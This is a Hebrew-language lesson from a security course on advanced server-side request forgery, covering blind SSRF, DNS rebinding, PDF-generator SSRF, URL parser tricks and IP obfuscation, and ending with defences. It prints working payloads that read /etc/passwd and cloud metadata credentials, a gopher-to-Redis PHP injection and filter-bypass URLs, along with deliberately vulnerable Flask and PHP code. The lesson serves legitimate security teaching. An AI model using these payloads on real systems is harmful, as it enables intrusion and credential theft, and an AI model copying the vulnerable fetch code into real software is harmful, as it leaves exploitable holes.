לדלג לתוכן

SSRF מתקדם - Server-Side Request Forgery

חזרה על SSRF בסיסי

בקורס הבסיסי למדנו ש-SSRF היא חולשה שבה התוקף מנצל את השרת כדי לשלוח בקשות HTTP למקומות שלא היו אמורים להיות נגישים. ראינו כיצד ניתן לגשת לשירותים פנימיים דרך הזנת כתובות כמו http://localhost או http://127.0.0.1.

בשיעור זה נתעמק בטכניקות מתקדמות של SSRF - bypass הגנות, שימוש בפרוטוקולים שונים, וexploit הבדלים בין מפענחי כתובות.


SSRF עיוור - Blind SSRF

ב-SSRF עיוור, השרת מבצע את הבקשה אבל לא מחזיר את התשובה ישירות לתוקף. אנחנו יודעים שהבקשה בוצעה, אבל לא רואים את התוכן.

זיהוי באמצעות טכניקות Out-of-Band

השיטה העיקרית לזהות SSRF עיוור היא לגרום לשרת לשלוח בקשה לשרת שבשליטתנו:

https://vulnerable-app.com/fetch?url=https://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net

כלים לזיהוי:
- Burp Collaborator - כלי מובנה ב-Burp Suite שמספק תת-דומיין ייחודי ומאזין ל-DNS ו-HTTP
- webhook.site - שירות חינמי שמספק כתובת URL ומציג בקשות נכנסות
- interactsh - כלי קוד פתוח של ProjectDiscovery

# Example of code vulnerable to Blind SSRF
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/check-url')
def check_url():
    url = request.args.get('url')
    try:
        # The server sends the request but does not return the content
        response = requests.get(url, timeout=5)
        return f"Status: {response.status_code}"
    except:
        return "Error"

התוקף לא מקבל את גוף התשובה, אבל יכול לדעת שהבקשה בוצעה דרך:
- status code שמוחזר
- זמן התגובה (time-based blind SSRF)
- בקשת DNS/HTTP שמגיעה לשרת שלו


DNS Rebinding - bypass בדיקות מבוססות IP

כיצד DNS Rebinding עובד

הגנות רבות נגד SSRF עובדות כך:
1. מפענחים את ה-DNS של הכתובת שהמשתמש שלח
2. בודקים שה-IP לא פנימי (לא 127.0.0.1, לא 10.x.x.x וכו')
3. אם ה-IP תקין - שולחים את הבקשה

ב-DNS Rebinding אנחנו מנצלים את הפער בין שלב הבדיקה לשלב השליחה:

Step 1: The attacker owns the domain attacker.com
Step 2: attacker.com's DNS server is configured with a very short TTL (0-1 seconds)
Step 3: The first time the server requests DNS - it returns an external IP (1.2.3.4) → passes the check
Step 4: The second time (the actual request) - it returns an internal IP (127.0.0.1) → SSRF

כלים לביצוע DNS Rebinding

rbndr.us - שירות שמחזיר תשובות DNS מתחלפות:

# Format: A-B.rbndr.us
# Alternates between two IP addresses
http://7f000001-01020304.rbndr.us/internal-path
# 7f000001 = 127.0.0.1 (hex)
# 01020304 = 1.2.3.4 (hex)

Singularity of Origin - כלי מתקדם יותר:

# Install
git clone https://github.com/nccgroup/singularity.git
cd singularity
go build -o singularity cmd/singularity-of-origin/main.go

# Run
./singularity -HTTPServerPort 8080 -ResponseIPAddr 127.0.0.1

דוגמה מלאה של תקיפת DNS Rebinding

# "Secure" defense code that is vulnerable to DNS Rebinding
import socket
import ipaddress
import requests

def is_internal_ip(ip):
    addr = ipaddress.ip_address(ip)
    return addr.is_private or addr.is_loopback

def fetch_url(url):
    from urllib.parse import urlparse
    hostname = urlparse(url).hostname

    # Step 1: DNS check
    ip = socket.gethostbyname(hostname)
    if is_internal_ip(ip):
        return "Blocked: Internal IP"

    # Step 2: sending the request (DNS Rebinding - the IP has already changed!)
    return requests.get(url).text

SSRF דרך מחוללי PDF

אפליקציות רבות מייצרות קבצי PDF מ-HTML - חשבוניות, דוחות, כרטיסי טיסה. אם התוקף שולט בתוכן ה-HTML, הוא יכול לנצל את מנוע ה-PDF לביצוע SSRF.

מנועי PDF נפוצים

  • wkhtmltopdf - מבוסס על WebKit ישן
  • Chromium Headless - דפדפן מלא ללא interface
  • WeasyPrint - מנוע Python

שימוש בתגיות HTML ל-SSRF

<!-- Loading content from an internal address -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="100%" height="500px"></iframe>

<!-- Reading a local file -->
<iframe src="file:///etc/passwd" width="100%" height="500px"></iframe>

<!-- Using the img tag -->
<img src="http://internal-server:8080/admin">

<!-- Using the link tag -->
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">

<!-- Using CSS -->
<style>
@import url('http://internal-server/secret');
</style>

הרצת JavaScript בהקשר של PDF

מנועים מבוססי דפדפן (wkhtmltopdf, Chromium) תומכים ב-JavaScript:

<script>
// Reading a local file
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', false);
xhr.send();
document.write('<pre>' + xhr.responseText + '</pre>');
</script>
<script>
// SSRF via JavaScript
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(data => {
    document.write('<pre>' + data + '</pre>');
  });
</script>

דוגמה לאפליקציה פגיעה

# Flask app that generates a PDF from the user's HTML
from flask import Flask, request, send_file
import pdfkit

app = Flask(__name__)

@app.route('/generate-pdf', methods=['POST'])
def generate_pdf():
    html_content = request.form.get('html')
    # Generates a PDF from unfiltered HTML - vulnerable!
    pdfkit.from_string(html_content, 'output.pdf')
    return send_file('output.pdf')

הבדלים בין מפענחי כתובות - URL Parser Differentials

ספריות שונות מפרשות כתובות URL בצורה שונה. ניתן לנצל את ההבדלים כדי לעקוף הגנות.

הexploit סימן @

לפי תקן ה-URL, מה שלפני @ הוא שם משתמש:

http://attacker.com@internal-server/admin

ספריות מסוימות ישלחו את הבקשה ל-internal-server, בעוד שההגנה בדקה את attacker.com.

from urllib.parse import urlparse

# Python urllib
url = "http://evil.com@127.0.0.1/"
parsed = urlparse(url)
print(parsed.hostname)  # 127.0.0.1
print(parsed.netloc)    # evil.com@127.0.0.1

בלכסן לאחור מול לכסן קדימה - Backslash vs Forward Slash

http://attacker.com\@internal-server/

חלק מהמפענחים מתייחסים ל-\ כ-/ וחלק לא, מה שיוצר בלבול.

Unicode בכתובות URL

http://127.0.0.1%E3%80%82evil.com
# %E3%80%82 = Unicode full-stop, some parsers treat it as a period

בלבול פרוטוקולים - Scheme Confusion

# Reading local files
file:///etc/passwd

# gopher protocol - sends raw data to a port
gopher://127.0.0.1:6379/_SET%20key%20value

# dict protocol - for communicating with internal services
dict://127.0.0.1:6379/SET:key:value

דוגמה לexploit gopher נגד Redis

# Sending Redis commands via gopher
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$4%0D%0Atest%0D%0A$18%0D%0A<?php%20phpinfo();?>%0D%0A

# Meaning of the command:
# SET test "<?php phpinfo();?>"

טשטוש כתובות IP - IP Address Obfuscation

ישנן דרכים רבות לייצג את אותה כתובת IP, מה שמאפשר לעקוף הגנות מבוססות מחרוזת.

ייצוג עשרוני - Decimal IP

http://2130706433
# 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
# Compute the decimal representation
import struct
ip = "127.0.0.1"
decimal = struct.unpack("!I", bytes(map(int, ip.split("."))))[0]
print(decimal)  # 2130706433

ייצוג הקסדצימלי - Hex IP

http://0x7f000001
http://0x7f.0x00.0x00.0x01

ייצוג אוקטלי - Octal IP

http://0177.0.0.1
http://0177.0000.0000.0001

IPv6

http://[::1]
http://[0000:0000:0000:0000:0000:0000:0000:0001]
http://[::ffff:127.0.0.1]

ייצוגים מעורבים

http://0x7f.0.0.01          # hex + octal
http://0177.0x00.0.1        # octal + hex + decimal
http://127.0.0.1.nip.io     # DNS that points to 127.0.0.1
http://localtest.me          # DNS that points to 127.0.0.1
http://spoofed.burpcollaborator.net  # custom DNS

סקריפט לייצור כל הפורמטים

import struct

def generate_ip_representations(ip):
    parts = list(map(int, ip.split(".")))
    decimal = struct.unpack("!I", bytes(parts))[0]

    representations = [
        ip,
        str(decimal),
        hex(decimal),
        f"0{oct(parts[0])[2:]}.0{oct(parts[1])[2:]}.0{oct(parts[2])[2:]}.0{oct(parts[3])[2:]}",
        f"0x{parts[0]:02x}.0x{parts[1]:02x}.0x{parts[2]:02x}.0x{parts[3]:02x}",
        f"[::ffff:{ip}]",
    ]

    if ip == "127.0.0.1":
        representations.extend([
            "[::1]",
            "localtest.me",
            "127.0.0.1.nip.io",
        ])

    return representations

for r in generate_ip_representations("127.0.0.1"):
    print(r)

שילוב טכניקות לbypass פילטרים

כשמתמודדים עם הגנות מרובות, צריך לשלב טכניקות:

# Filter blocks "127.0.0.1" and "localhost"?
http://0x7f000001/admin

# Filter also blocks numeric representations?
http://localtest.me/admin

# Filter checks DNS but doesn't prevent DNS Rebinding?
http://7f000001-01020304.rbndr.us/admin

# Filter blocks HTTP but not other protocols?
gopher://127.0.0.1:6379/_KEYS%20*

# Filter based on a Regex that checks hostname?
http://evil.com@127.0.0.1/admin
http://127.0.0.1%23@evil.com  # fragment confusion

דוגמה ל-SSRF ב-PHP

<?php
// PHP code vulnerable to SSRF
$url = $_GET['url'];

// Weak "defense"
$parsed = parse_url($url);
$host = $parsed['host'];

// Checks only the string
$blocked = ['127.0.0.1', 'localhost', '0.0.0.0'];
if (in_array($host, $blocked)) {
    die("Blocked!");
}

// Can be bypassed with:
// ?url=http://0x7f000001/admin
// ?url=http://127.1/admin (shorthand)
// ?url=http://[::1]/admin

$content = file_get_contents($url);
echo $content;
?>

הגנות

גישת Whitelist

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['http', 'https']

def safe_fetch(url):
    parsed = urlparse(url)

    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("Scheme not allowed")

    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("Host not allowed")

    return requests.get(url, allow_redirects=False)

פתרון DNS וולידציה של IP

import socket
import ipaddress

def safe_fetch(url):
    parsed = urlparse(url)
    hostname = parsed.hostname

    # Resolve DNS
    ip = socket.gethostbyname(hostname)
    addr = ipaddress.ip_address(ip)

    # Block private ranges
    if addr.is_private or addr.is_loopback or addr.is_reserved:
        raise ValueError(f"Blocked IP: {ip}")

    # Important: send the request directly to the verified IP
    # to prevent DNS Rebinding
    response = requests.get(
        url.replace(hostname, ip),
        headers={'Host': hostname},
        allow_redirects=False
    )
    return response

חסימת פרוטוקולים מיותרים

# At the network level - iptables
# Blocking the server's access to internal ranges
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.0.0/16 -j DROP

סיכום

טכניקה שימוש קושי
Blind SSRF זיהוי SSRF כשאין תשובה ישירה בינוני
DNS Rebinding הbypass בדיקות IP גבוה
SSRF דרך PDF הexploit מחוללי מסמכים בינוני
הבדלי מפענחים הbypass Regex והגנות מחרוזת בינוני
טשטוש IP הbypass Blacklist נמוך
שילוב טכניקות תקיפה של הגנות מרובות גבוה

הנקודה המרכזית: הגנה אמיתית נגד SSRF דורשת גישת Whitelist, ולידציה ברמת הרשת, וחסימת פרוטוקולים מיותרים. הגנה מבוססת Blacklist תמיד ניתנת לbypass.